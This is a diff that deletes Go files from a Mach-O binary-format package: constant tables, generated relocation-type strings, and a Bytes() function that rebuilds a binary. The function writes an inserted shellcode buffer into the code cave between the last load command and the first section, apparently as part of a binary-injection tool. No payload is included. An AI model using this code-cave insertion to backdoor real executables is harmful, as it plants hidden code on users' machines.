|
||||
|
||||
func (t Type) String() string { return stringName(uint32(t), typeStrings, false) }
|
||||
func (t Type) GoString() string { return stringName(uint32(t), typeStrings, true) }
|
||||
|
||||
// A Cpu is a Mach-O cpu type.
|
||||
type Cpu uint32
|
||||
|
||||
const cpuArch64 = 0x01000000
|
||||
|
||||
const (
|
||||
Cpu386 Cpu = 7
|
||||
CpuAmd64 Cpu = Cpu386 | cpuArch64
|
||||
CpuArm Cpu = 12
|
||||
CpuArm64 Cpu = CpuArm | cpuArch64
|
||||
CpuPpc Cpu = 18
|
||||
CpuPpc64 Cpu = CpuPpc | cpuArch64
|
||||
)
|
||||
|
||||
var cpuStrings = []intName{
|
||||
{uint32(Cpu386), "Cpu386"},
|
||||
{uint32(CpuAmd64), "CpuAmd64"},
|
||||
{uint32(CpuArm), "CpuArm"},
|
||||
{uint32(CpuArm64), "CpuArm64"},
|
||||
{uint32(CpuPpc), "CpuPpc"},
|
||||
{uint32(CpuPpc64), "CpuPpc64"},
|
||||
}
|
||||
|
||||
var FinalSegEnd uint64
|
||||
|
||||
func (i Cpu) String() string { return stringName(uint32(i), cpuStrings, false) }
|
||||
func (i Cpu) GoString() string { return stringName(uint32(i), cpuStrings, true) }
|
||||
|
||||
// A LoadCmd is a Mach-O load command.
|
||||
type LoadCmd uint32
|
||||
|
||||
const (
|
||||
LoadCmdSegment LoadCmd = 0x1
|
||||
LoadCmdSymtab LoadCmd = 0x2
|
||||
LoadCmdThread LoadCmd = 0x4
|
||||
LoadCmdUnixThread LoadCmd = 0x5 // thread+stack
|
||||
LoadCmdDysymtab LoadCmd = 0xb
|
||||
LoadCmdDylib LoadCmd = 0xc // load dylib command
|
||||
LoadCmdDylinker LoadCmd = 0xf // id dylinker command (not load dylinker command)
|
||||
LoadCmdSegment64 LoadCmd = 0x19
|
||||
LoadCmdSignature LoadCmd = 0x1d
|
||||
LoadCmdFuncStarts LoadCmd = 0x26 // Function Starts
|
||||
LoadCmdDataInCode LoadCmd = 0x29 // Data In Code
|
||||
|
||||
LoadReqDyld LoadCmd = 0x80000000
|
||||
LoadCmdMain LoadCmd = (0x28 | LoadReqDyld) // replacement for LC_UNIXTHREAD
|
||||
LoadCmdRpath LoadCmd = 0x8000001c
|
||||
LoadCmdDylinkInfo LoadCmd = 0x80000022 // Dynamic Linker Info Only
|
||||
)
|
||||
|
||||
var cmdStrings = []intName{
|
||||
{uint32(LoadCmdSegment), "LoadCmdSegment"},
|
||||
{uint32(LoadCmdThread), "LoadCmdThread"},
|
||||
{uint32(LoadCmdUnixThread), "LoadCmdUnixThread"},
|
||||
{uint32(LoadCmdDylib), "LoadCmdDylib"},
|
||||
{uint32(LoadCmdSegment64), "LoadCmdSegment64"},
|
||||
{uint32(LoadCmdRpath), "LoadCmdRpath"},
|
||||
{uint32(LoadCmdSignature), "LoadCmdSignature"},
|
||||
{uint32(LoadCmdFuncStarts), "LoadCmdFuncStarts"},
|
||||
{uint32(LoadCmdDataInCode), "LoadCmdDataInCode"},
|
||||
{uint32(LoadCmdDylinkInfo), "LoadCmdDylinkInfo"},
|
||||
}
|
||||
|
||||
func (i LoadCmd) String() string { return stringName(uint32(i), cmdStrings, false) }
|
||||
func (i LoadCmd) GoString() string { return stringName(uint32(i), cmdStrings, true) }
|
||||
|
||||
// Prog.Flag
|
||||
type ProgFlag uint32
|
||||
|
||||
const (
|
||||
PF_NONE ProgFlag = 0x0 /* None */
|
||||
PF_R ProgFlag = 0x1 /* Readable. */
|
||||
PF_W ProgFlag = 0x2 /* Writable. */
|
||||
PF_X ProgFlag = 0x4 /* Executable. */
|
||||
)
|
||||
|
||||
type (
|
||||
// A Segment32 is a 32-bit Mach-O segment load command.
|
||||
Segment32 struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name [16]byte
|
||||
Addr uint32
|
||||
Memsz uint32
|
||||
Offset uint32
|
||||
Filesz uint32
|
||||
Maxprot uint32 // ProgFlag - Maximum Segment Virtual Memory Protections
|
||||
Prot uint32 // ProgFlag - Initial Segment Virtual Memory Protections
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
// A Segment64 is a 64-bit Mach-O segment load command.
|
||||
Segment64 struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name [16]byte
|
||||
Addr uint64
|
||||
Memsz uint64
|
||||
Offset uint64
|
||||
Filesz uint64
|
||||
Maxprot uint32
|
||||
Prot uint32
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
// A SigBlockCmd is a Mach-O symbol table command.
|
||||
SigBlockCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Sigoff uint32
|
||||
Sigsize uint32
|
||||
}
|
||||
|
||||
// A SymtabCmd is a Mach-O symbol table command.
|
||||
SymtabCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Symoff uint32
|
||||
Nsyms uint32
|
||||
Stroff uint32
|
||||
Strsize uint32
|
||||
}
|
||||
|
||||
// A DysymtabCmd is a Mach-O dynamic symbol table command.
|
||||
DysymtabCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Ilocalsym uint32
|
||||
Nlocalsym uint32
|
||||
Iextdefsym uint32
|
||||
Nextdefsym uint32
|
||||
Iundefsym uint32
|
||||
Nundefsym uint32
|
||||
Tocoffset uint32
|
||||
Ntoc uint32
|
||||
Modtaboff uint32
|
||||
Nmodtab uint32
|
||||
Extrefsymoff uint32
|
||||
Nextrefsyms uint32
|
||||
Indirectsymoff uint32
|
||||
Nindirectsyms uint32
|
||||
Extreloff uint32
|
||||
Nextrel uint32
|
||||
Locreloff uint32
|
||||
Nlocrel uint32
|
||||
}
|
||||
|
||||
// DylinkerCmd is a load command to identify the dynamic linker
|
||||
DylinkerCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name uint32
|
||||
}
|
||||
|
||||
// A DylibCmd is a Mach-O load dynamic library command.
|
||||
DylibCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name uint32
|
||||
Time uint32
|
||||
CurrentVersion uint32
|
||||
CompatVersion uint32
|
||||
}
|
||||
|
||||
// A FuncStartsCmd is a Mach-O load Function Starts command
|
||||
FuncStartsCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Dataoff uint32
|
||||
Datasize uint32
|
||||
}
|
||||
|
||||
// A DataInCodeCmd is a Mach-O load for Data In Code command
|
||||
DataInCodeCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Dataoff uint32
|
||||
Datasize uint32
|
||||
}
|
||||
|
||||
// A DylinkInfoCmd is a Mach-O load for Dynamic Linker Info Only Command
|
||||
DylinkInfoCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Rebaseoff uint32
|
||||
Rebasesize uint32
|
||||
Bindinginfooff uint32
|
||||
Bindinginfosize uint32
|
||||
Weakbindingoff uint32
|
||||
Weakbindingsize uint32
|
||||
Lazybindingoff uint32
|
||||
Lazybindingsize uint32
|
||||
Exportinfooff uint32
|
||||
Exportinfosize uint32
|
||||
}
|
||||
|
||||
// A RpathCmd is a Mach-O rpath command.
|
||||
RpathCmd struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Path uint32
|
||||
}
|
||||
|
||||
// A Thread is a Mach-O thread state command.
|
||||
Thread struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Type uint32
|
||||
Data []uint32
|
||||
}
|
||||
|
||||
// A EntryPointCmd is a Mach-O entry point command.
|
||||
EntryPointCmd struct {
|
||||
Cmd uint32 /* LC_MAIN only used in MH_EXECUTE filetypes */
|
||||
CmdSize uint32 /* 24 */
|
||||
EntryOff uint64 /* file (__TEXT) offset of main() */
|
||||
StackSize uint64 /* if not zero, initial stack size */
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
FlagNoUndefs uint32 = 0x1
|
||||
FlagIncrLink uint32 = 0x2
|
||||
FlagDyldLink uint32 = 0x4
|
||||
FlagBindAtLoad uint32 = 0x8
|
||||
FlagPrebound uint32 = 0x10
|
||||
FlagSplitSegs uint32 = 0x20
|
||||
FlagLazyInit uint32 = 0x40
|
||||
FlagTwoLevel uint32 = 0x80
|
||||
FlagForceFlat uint32 = 0x100
|
||||
FlagNoMultiDefs uint32 = 0x200
|
||||
FlagNoFixPrebinding uint32 = 0x400
|
||||
FlagPrebindable uint32 = 0x800
|
||||
FlagAllModsBound uint32 = 0x1000
|
||||
FlagSubsectionsViaSymbols uint32 = 0x2000
|
||||
FlagCanonical uint32 = 0x4000
|
||||
FlagWeakDefines uint32 = 0x8000
|
||||
FlagBindsToWeak uint32 = 0x10000
|
||||
FlagAllowStackExecution uint32 = 0x20000
|
||||
FlagRootSafe uint32 = 0x40000
|
||||
FlagSetuidSafe uint32 = 0x80000
|
||||
FlagNoReexportedDylibs uint32 = 0x100000
|
||||
FlagPIE uint32 = 0x200000
|
||||
FlagDeadStrippableDylib uint32 = 0x400000
|
||||
FlagHasTLVDescriptors uint32 = 0x800000
|
||||
FlagNoHeapExecution uint32 = 0x1000000
|
||||
FlagAppExtensionSafe uint32 = 0x2000000
|
||||
)
|
||||
|
||||
// A Section32 is a 32-bit Mach-O section header.
|
||||
type Section32 struct {
|
||||
Name [16]byte
|
||||
Seg [16]byte
|
||||
Addr uint32
|
||||
Size uint32
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
Reserve1 uint32
|
||||
Reserve2 uint32
|
||||
}
|
||||
|
||||
// A Section64 is a 64-bit Mach-O section header.
|
||||
type Section64 struct {
|
||||
Name [16]byte
|
||||
Seg [16]byte
|
||||
Addr uint64
|
||||
Size uint64
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
Reserve1 uint32
|
||||
Reserve2 uint32
|
||||
Reserve3 uint32
|
||||
}
|
||||
|
||||
// An Nlist32 is a Mach-O 32-bit symbol table entry.
|
||||
type Nlist32 struct {
|
||||
Name uint32
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint32
|
||||
}
|
||||
|
||||
// An Nlist64 is a Mach-O 64-bit symbol table entry.
|
||||
type Nlist64 struct {
|
||||
Name uint32
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint64
|
||||
}
|
||||
|
||||
// Regs386 is the Mach-O 386 register structure.
|
||||
type Regs386 struct {
|
||||
AX uint32
|
||||
BX uint32
|
||||
CX uint32
|
||||
DX uint32
|
||||
DI uint32
|
||||
SI uint32
|
||||
BP uint32
|
||||
SP uint32
|
||||
SS uint32
|
||||
FLAGS uint32
|
||||
IP uint32
|
||||
CS uint32
|
||||
DS uint32
|
||||
ES uint32
|
||||
FS uint32
|
||||
GS uint32
|
||||
}
|
||||
|
||||
// RegsAMD64 is the Mach-O AMD64 register structure.
|
||||
type RegsAMD64 struct {
|
||||
AX uint64
|
||||
BX uint64
|
||||
CX uint64
|
||||
DX uint64
|
||||
DI uint64
|
||||
SI uint64
|
||||
BP uint64
|
||||
SP uint64
|
||||
R8 uint64
|
||||
R9 uint64
|
||||
R10 uint64
|
||||
R11 uint64
|
||||
R12 uint64
|
||||
R13 uint64
|
||||
R14 uint64
|
||||
R15 uint64
|
||||
IP uint64
|
||||
FLAGS uint64
|
||||
CS uint64
|
||||
FS uint64
|
||||
GS uint64
|
||||
}
|
||||
|
||||
type intName struct {
|
||||
i uint32
|
||||
s string
|
||||
}
|
||||
|
||||
func stringName(i uint32, names []intName, goSyntax bool) string {
|
||||
for _, n := range names {
|
||||
if n.i == i {
|
||||
if goSyntax {
|
||||
return "macho." + n.s
|
||||
}
|
||||
return n.s
|
||||
}
|
||||
}
|
||||
return strconv.FormatUint(uint64(i), 10)
|
||||
}
|
||||
-72
@@ -1,72 +0,0 @@
|
||||
// Copyright 2017 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
//go:generate stringer -type=RelocTypeGeneric,RelocTypeX86_64,RelocTypeARM,RelocTypeARM64 -output reloctype_string.go
|
||||
|
||||
type RelocTypeGeneric int
|
||||
|
||||
const (
|
||||
GENERIC_RELOC_VANILLA RelocTypeGeneric = 0
|
||||
GENERIC_RELOC_PAIR RelocTypeGeneric = 1
|
||||
GENERIC_RELOC_SECTDIFF RelocTypeGeneric = 2
|
||||
GENERIC_RELOC_PB_LA_PTR RelocTypeGeneric = 3
|
||||
GENERIC_RELOC_LOCAL_SECTDIFF RelocTypeGeneric = 4
|
||||
GENERIC_RELOC_TLV RelocTypeGeneric = 5
|
||||
)
|
||||
|
||||
func (r RelocTypeGeneric) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeX86_64 int
|
||||
|
||||
const (
|
||||
X86_64_RELOC_UNSIGNED RelocTypeX86_64 = 0
|
||||
X86_64_RELOC_SIGNED RelocTypeX86_64 = 1
|
||||
X86_64_RELOC_BRANCH RelocTypeX86_64 = 2
|
||||
X86_64_RELOC_GOT_LOAD RelocTypeX86_64 = 3
|
||||
X86_64_RELOC_GOT RelocTypeX86_64 = 4
|
||||
X86_64_RELOC_SUBTRACTOR RelocTypeX86_64 = 5
|
||||
X86_64_RELOC_SIGNED_1 RelocTypeX86_64 = 6
|
||||
X86_64_RELOC_SIGNED_2 RelocTypeX86_64 = 7
|
||||
X86_64_RELOC_SIGNED_4 RelocTypeX86_64 = 8
|
||||
X86_64_RELOC_TLV RelocTypeX86_64 = 9
|
||||
)
|
||||
|
||||
func (r RelocTypeX86_64) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeARM int
|
||||
|
||||
const (
|
||||
ARM_RELOC_VANILLA RelocTypeARM = 0
|
||||
ARM_RELOC_PAIR RelocTypeARM = 1
|
||||
ARM_RELOC_SECTDIFF RelocTypeARM = 2
|
||||
ARM_RELOC_LOCAL_SECTDIFF RelocTypeARM = 3
|
||||
ARM_RELOC_PB_LA_PTR RelocTypeARM = 4
|
||||
ARM_RELOC_BR24 RelocTypeARM = 5
|
||||
ARM_THUMB_RELOC_BR22 RelocTypeARM = 6
|
||||
ARM_THUMB_32BIT_BRANCH RelocTypeARM = 7
|
||||
ARM_RELOC_HALF RelocTypeARM = 8
|
||||
ARM_RELOC_HALF_SECTDIFF RelocTypeARM = 9
|
||||
)
|
||||
|
||||
func (r RelocTypeARM) GoString() string { return "macho." + r.String() }
|
||||
|
||||
type RelocTypeARM64 int
|
||||
|
||||
const (
|
||||
ARM64_RELOC_UNSIGNED RelocTypeARM64 = 0
|
||||
ARM64_RELOC_SUBTRACTOR RelocTypeARM64 = 1
|
||||
ARM64_RELOC_BRANCH26 RelocTypeARM64 = 2
|
||||
ARM64_RELOC_PAGE21 RelocTypeARM64 = 3
|
||||
ARM64_RELOC_PAGEOFF12 RelocTypeARM64 = 4
|
||||
ARM64_RELOC_GOT_LOAD_PAGE21 RelocTypeARM64 = 5
|
||||
ARM64_RELOC_GOT_LOAD_PAGEOFF12 RelocTypeARM64 = 6
|
||||
ARM64_RELOC_POINTER_TO_GOT RelocTypeARM64 = 7
|
||||
ARM64_RELOC_TLVP_LOAD_PAGE21 RelocTypeARM64 = 8
|
||||
ARM64_RELOC_TLVP_LOAD_PAGEOFF12 RelocTypeARM64 = 9
|
||||
ARM64_RELOC_ADDEND RelocTypeARM64 = 10
|
||||
)
|
||||
|
||||
func (r RelocTypeARM64) GoString() string { return "macho." + r.String() }
|
||||
-49
@@ -1,49 +0,0 @@
|
||||
// Code generated by "stringer -type=RelocTypeGeneric,RelocTypeX86_64,RelocTypeARM,RelocTypeARM64 -output reloctype_string.go"; DO NOT EDIT.
|
||||
|
||||
package macho
|
||||
|
||||
import "strconv"
|
||||
|
||||
const _RelocTypeGeneric_name = "GENERIC_RELOC_VANILLAGENERIC_RELOC_PAIRGENERIC_RELOC_SECTDIFFGENERIC_RELOC_PB_LA_PTRGENERIC_RELOC_LOCAL_SECTDIFFGENERIC_RELOC_TLV"
|
||||
|
||||
var _RelocTypeGeneric_index = [...]uint8{0, 21, 39, 61, 84, 112, 129}
|
||||
|
||||
func (i RelocTypeGeneric) String() string {
|
||||
if i < 0 || i >= RelocTypeGeneric(len(_RelocTypeGeneric_index)-1) {
|
||||
return "RelocTypeGeneric(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeGeneric_name[_RelocTypeGeneric_index[i]:_RelocTypeGeneric_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeX86_64_name = "X86_64_RELOC_UNSIGNEDX86_64_RELOC_SIGNEDX86_64_RELOC_BRANCHX86_64_RELOC_GOT_LOADX86_64_RELOC_GOTX86_64_RELOC_SUBTRACTORX86_64_RELOC_SIGNED_1X86_64_RELOC_SIGNED_2X86_64_RELOC_SIGNED_4X86_64_RELOC_TLV"
|
||||
|
||||
var _RelocTypeX86_64_index = [...]uint8{0, 21, 40, 59, 80, 96, 119, 140, 161, 182, 198}
|
||||
|
||||
func (i RelocTypeX86_64) String() string {
|
||||
if i < 0 || i >= RelocTypeX86_64(len(_RelocTypeX86_64_index)-1) {
|
||||
return "RelocTypeX86_64(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeX86_64_name[_RelocTypeX86_64_index[i]:_RelocTypeX86_64_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeARM_name = "ARM_RELOC_VANILLAARM_RELOC_PAIRARM_RELOC_SECTDIFFARM_RELOC_LOCAL_SECTDIFFARM_RELOC_PB_LA_PTRARM_RELOC_BR24ARM_THUMB_RELOC_BR22ARM_THUMB_32BIT_BRANCHARM_RELOC_HALFARM_RELOC_HALF_SECTDIFF"
|
||||
|
||||
var _RelocTypeARM_index = [...]uint8{0, 17, 31, 49, 73, 92, 106, 126, 148, 162, 185}
|
||||
|
||||
func (i RelocTypeARM) String() string {
|
||||
if i < 0 || i >= RelocTypeARM(len(_RelocTypeARM_index)-1) {
|
||||
return "RelocTypeARM(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeARM_name[_RelocTypeARM_index[i]:_RelocTypeARM_index[i+1]]
|
||||
}
|
||||
|
||||
const _RelocTypeARM64_name = "ARM64_RELOC_UNSIGNEDARM64_RELOC_SUBTRACTORARM64_RELOC_BRANCH26ARM64_RELOC_PAGE21ARM64_RELOC_PAGEOFF12ARM64_RELOC_GOT_LOAD_PAGE21ARM64_RELOC_GOT_LOAD_PAGEOFF12ARM64_RELOC_POINTER_TO_GOTARM64_RELOC_TLVP_LOAD_PAGE21ARM64_RELOC_TLVP_LOAD_PAGEOFF12ARM64_RELOC_ADDEND"
|
||||
|
||||
var _RelocTypeARM64_index = [...]uint16{0, 20, 42, 62, 80, 101, 128, 158, 184, 212, 243, 261}
|
||||
|
||||
func (i RelocTypeARM64) String() string {
|
||||
if i < 0 || i >= RelocTypeARM64(len(_RelocTypeARM64_index)-1) {
|
||||
return "RelocTypeARM64(" + strconv.FormatInt(int64(i), 10) + ")"
|
||||
}
|
||||
return _RelocTypeARM64_name[_RelocTypeARM64_index[i]:_RelocTypeARM64_index[i+1]]
|
||||
}
|
||||
-343
@@ -1,343 +0,0 @@
|
||||
package macho
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// Bytes - Returns the bytes of an assembled *macho.File
|
||||
func (machoFile *File) Bytes() ([]byte, error) {
|
||||
var bytesWritten uint64
|
||||
w := bytes.NewBuffer(nil)
|
||||
|
||||
// Write entire file header.
|
||||
buf := &bytes.Buffer{}
|
||||
err := binary.Write(buf, machoFile.ByteOrder, machoFile.FileHeader)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
headerLength := len(buf.Bytes())
|
||||
binary.Write(w, machoFile.ByteOrder, machoFile.FileHeader)
|
||||
bytesWritten += uint64(headerLength)
|
||||
//log.Printf("%x: Wrote file header of size: %v", bytesWritten, bytesWritten)
|
||||
|
||||
// Reserved 4 bytes at end of header
|
||||
w.Write([]byte{0, 0, 0, 0})
|
||||
bytesWritten += 4
|
||||
|
||||
// Write Load Commands Loop
|
||||
for _, singleLoad := range machoFile.Loads {
|
||||
buf2 := &bytes.Buffer{}
|
||||
err = binary.Write(buf2, machoFile.ByteOrder, singleLoad.Raw())
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
LoadCmdLen := len(buf2.Bytes())
|
||||
binary.Write(w, machoFile.ByteOrder, singleLoad.Raw())
|
||||
bytesWritten += uint64(LoadCmdLen)
|
||||
//log.Printf("%x: Wrote Load Command, total size of: %v", bytesWritten, LoadCmdLen)
|
||||
}
|
||||
|
||||
// Shellcode gets caved in between the final load command and the first section
|
||||
if len(machoFile.Insertion) > 0 {
|
||||
binary.Write(w, machoFile.ByteOrder, machoFile.Insertion)
|
||||
bytesWritten += uint64(len(machoFile.Insertion))
|
||||
}
|
||||
|
||||
// Sort Sections
|
||||
sortedSections := machoFile.Sections[:]
|
||||
sort.Slice(sortedSections, func(a, b int) bool { return machoFile.Sections[a].Offset < machoFile.Sections[b].Offset })
|
||||
|
||||
/*
|
||||
var caveOffset, caveSize uint64
|
||||
for _, s := range sortedSections {
|
||||
if s.SectionHeader.Seg == "__TEXT" && s.Name == "__text" {
|
||||
caveOffset = bytesWritten
|
||||
caveSize = uint64(s.Offset) - caveOffset
|
||||
log.Printf("Code Cave Size: %d - %d = %d\n", s.Offset, caveOffset, caveSize)
|
||||
log.Println("Shellcode Size: ", len(machoFile.Insertion))
|
||||
break
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
// Write Sections
|
||||
for _, s := range sortedSections {
|
||||
|
||||
if bytesWritten > uint64(s.Offset) {
|
||||
log.Printf("Overlapping Sections in Generated macho: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if bytesWritten < uint64(s.Offset) {
|
||||
pad := make([]byte, uint64(s.Offset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += uint64(len(pad))
|
||||
//log.Printf("%x: wrote %d padding bytes\n", bytesWritten, len(pad))
|
||||
}
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, machoFile.ByteOrder, section)
|
||||
bytesWritten += uint64(len(section))
|
||||
//log.Printf("%x: wrote %d bytes section/segment named: %s %s\n", bytesWritten, uint64(len(section)), s.Name, s.Seg)
|
||||
}
|
||||
// Write Dynamic Loader Info if it exists
|
||||
if machoFile.DylinkInfo != nil {
|
||||
// Write Rebase if it exists
|
||||
if len(machoFile.DylinkInfo.RebaseDat) > 0 {
|
||||
//log.Printf("Rebase Offset: %d", machoFile.DylinkInfo.RebaseOffset)
|
||||
if int64(machoFile.DylinkInfo.RebaseOffset)-int64(bytesWritten) > 0 {
|
||||
padA := make([]byte, machoFile.DylinkInfo.RebaseOffset-bytesWritten)
|
||||
w.Write(padA)
|
||||
bytesWritten += uint64(len(padA))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padA))
|
||||
}
|
||||
//log.Printf("Rebase: %+v \n", machoFile.DylinkInfo.RebaseDat)
|
||||
w.Write(machoFile.DylinkInfo.RebaseDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.RebaseLen)
|
||||
//log.Printf("%x: Wrote raw Rebase, length of: %d", bytesWritten, machoFile.DylinkInfo.RebaseLen)
|
||||
}
|
||||
//Binding
|
||||
if len(machoFile.DylinkInfo.BindingInfoDat) > 0 {
|
||||
//log.Printf("Binding Offset: %d", machoFile.DylinkInfo.BindingInfoOffset)
|
||||
if int64(machoFile.DylinkInfo.BindingInfoOffset)-int64(bytesWritten) > 0 {
|
||||
padB := make([]byte, machoFile.DylinkInfo.BindingInfoOffset-bytesWritten)
|
||||
w.Write(padB)
|
||||
bytesWritten += uint64(len(padB))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padB))
|
||||
}
|
||||
//log.Printf("Binding Info: %+v \n", machoFile.DylinkInfo.BindingInfoDat)
|
||||
w.Write(machoFile.DylinkInfo.BindingInfoDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.BindingInfoLen)
|
||||
//log.Printf("%x: Wrote raw Binding Info, length of: %d", bytesWritten, machoFile.DylinkInfo.BindingInfoLen)
|
||||
}
|
||||
//Lazy
|
||||
if len(machoFile.DylinkInfo.LazyBindingDat) > 0 {
|
||||
//log.Printf("Lazy Offset: %d", machoFile.DylinkInfo.LazyBindingOffset)
|
||||
if int64(machoFile.DylinkInfo.LazyBindingOffset)-int64(bytesWritten) > 0 {
|
||||
padD := make([]byte, machoFile.DylinkInfo.LazyBindingOffset-bytesWritten)
|
||||
w.Write(padD)
|
||||
bytesWritten += uint64(len(padD))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padD))
|
||||
}
|
||||
//log.Printf("Lazy Binding Data: %+v \n", machoFile.DylinkInfo.LazyBindingDat)
|
||||
w.Write(machoFile.DylinkInfo.LazyBindingDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.LazyBindingLen)
|
||||
//log.Printf("%x: Wrote raw lazybinding, length of: %d", bytesWritten, machoFile.DylinkInfo.LazyBindingLen)
|
||||
}
|
||||
//Export
|
||||
if len(machoFile.DylinkInfo.ExportInfoDat) > 0 {
|
||||
//log.Printf("Export Offset: %d", machoFile.DylinkInfo.ExportInfoOffset)
|
||||
if int64(machoFile.DylinkInfo.ExportInfoOffset)-int64(bytesWritten) > 0 {
|
||||
padE := make([]byte, machoFile.DylinkInfo.ExportInfoOffset-bytesWritten)
|
||||
w.Write(padE)
|
||||
bytesWritten += uint64(len(padE))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padE))
|
||||
}
|
||||
//log.Printf("Export Info: %+v \n", machoFile.DylinkInfo.ExportInfoDat)
|
||||
w.Write(machoFile.DylinkInfo.ExportInfoDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.ExportInfoLen)
|
||||
//log.Printf("%x: Wrote raw Export Info, length of: %d", bytesWritten, machoFile.DylinkInfo.ExportInfoLen)
|
||||
}
|
||||
//Weak
|
||||
if len(machoFile.DylinkInfo.WeakBindingDat) > 0 {
|
||||
//log.Printf("Weak Offset: %d", machoFile.DylinkInfo.WeakBindingOffset)
|
||||
if int64(machoFile.DylinkInfo.WeakBindingOffset)-int64(bytesWritten) > 0 {
|
||||
padC := make([]byte, machoFile.DylinkInfo.WeakBindingOffset-bytesWritten)
|
||||
w.Write(padC)
|
||||
bytesWritten += uint64(len(padC))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padC))
|
||||
}
|
||||
//log.Printf("Weak Binding: %+v \n", machoFile.DylinkInfo.WeakBindingDat)
|
||||
w.Write(machoFile.DylinkInfo.WeakBindingDat)
|
||||
bytesWritten += uint64(machoFile.DylinkInfo.WeakBindingLen)
|
||||
//log.Printf("%x: Wrote raw Weak Binding, length of: %d", bytesWritten, machoFile.DylinkInfo.WeakBindingLen)
|
||||
}
|
||||
}
|
||||
|
||||
// Write the Func Starts if they exist
|
||||
if machoFile.FuncStarts != nil {
|
||||
//log.Printf("new pad: %d", machoFile.FuncStarts.Offset-bytesWritten)
|
||||
if int64(machoFile.FuncStarts.Offset)-int64(bytesWritten) > 0 {
|
||||
padY := make([]byte, machoFile.FuncStarts.Offset-bytesWritten)
|
||||
w.Write(padY)
|
||||
bytesWritten += uint64(len(padY))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padY))
|
||||
}
|
||||
//log.Printf("FuncStarts: %+v \n", machoFile.FuncStarts)
|
||||
w.Write(machoFile.FuncStarts.RawDat)
|
||||
bytesWritten += uint64(machoFile.FuncStarts.Len)
|
||||
//log.Printf("%x: Wrote raw funcstarts, length of: %d", bytesWritten, machoFile.FuncStarts.Len)
|
||||
}
|
||||
|
||||
// Write the Data in Code Entries if they exist
|
||||
if machoFile.DataInCode != nil {
|
||||
if int64(machoFile.DataInCode.Offset)-int64(bytesWritten) > 0 {
|
||||
padZ := make([]byte, machoFile.DataInCode.Offset-bytesWritten)
|
||||
w.Write(padZ)
|
||||
bytesWritten += uint64(len(padZ))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(padZ))
|
||||
}
|
||||
//log.Printf("DataInCode: %+v \n", machoFile.DataInCode)
|
||||
w.Write(machoFile.DataInCode.RawDat)
|
||||
bytesWritten += uint64(machoFile.DataInCode.Len)
|
||||
//log.Printf("%x: Wrote raw dataincode, length of: %d", bytesWritten, machoFile.DataInCode.Len)
|
||||
}
|
||||
|
||||
// Write Symbols is next I think
|
||||
symtab := machoFile.Symtab
|
||||
//log.Printf("Bytes written: %d", bytesWritten)
|
||||
//log.Printf("Indirect symbol offset: %d", machoFile.Dysymtab.DysymtabCmd.Indirectsymoff)
|
||||
//log.Printf("Locrel offset: %d", machoFile.Dysymtab.Locreloff)
|
||||
//log.Printf("Symtab offset: %d", symtab.Symoff)
|
||||
//log.Printf("String table offset: %d", symtab.Stroff)
|
||||
if int64(symtab.Symoff)-int64(bytesWritten) > 0 {
|
||||
pad := make([]byte, uint64(symtab.Symoff)-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += (uint64(symtab.Symoff) - bytesWritten)
|
||||
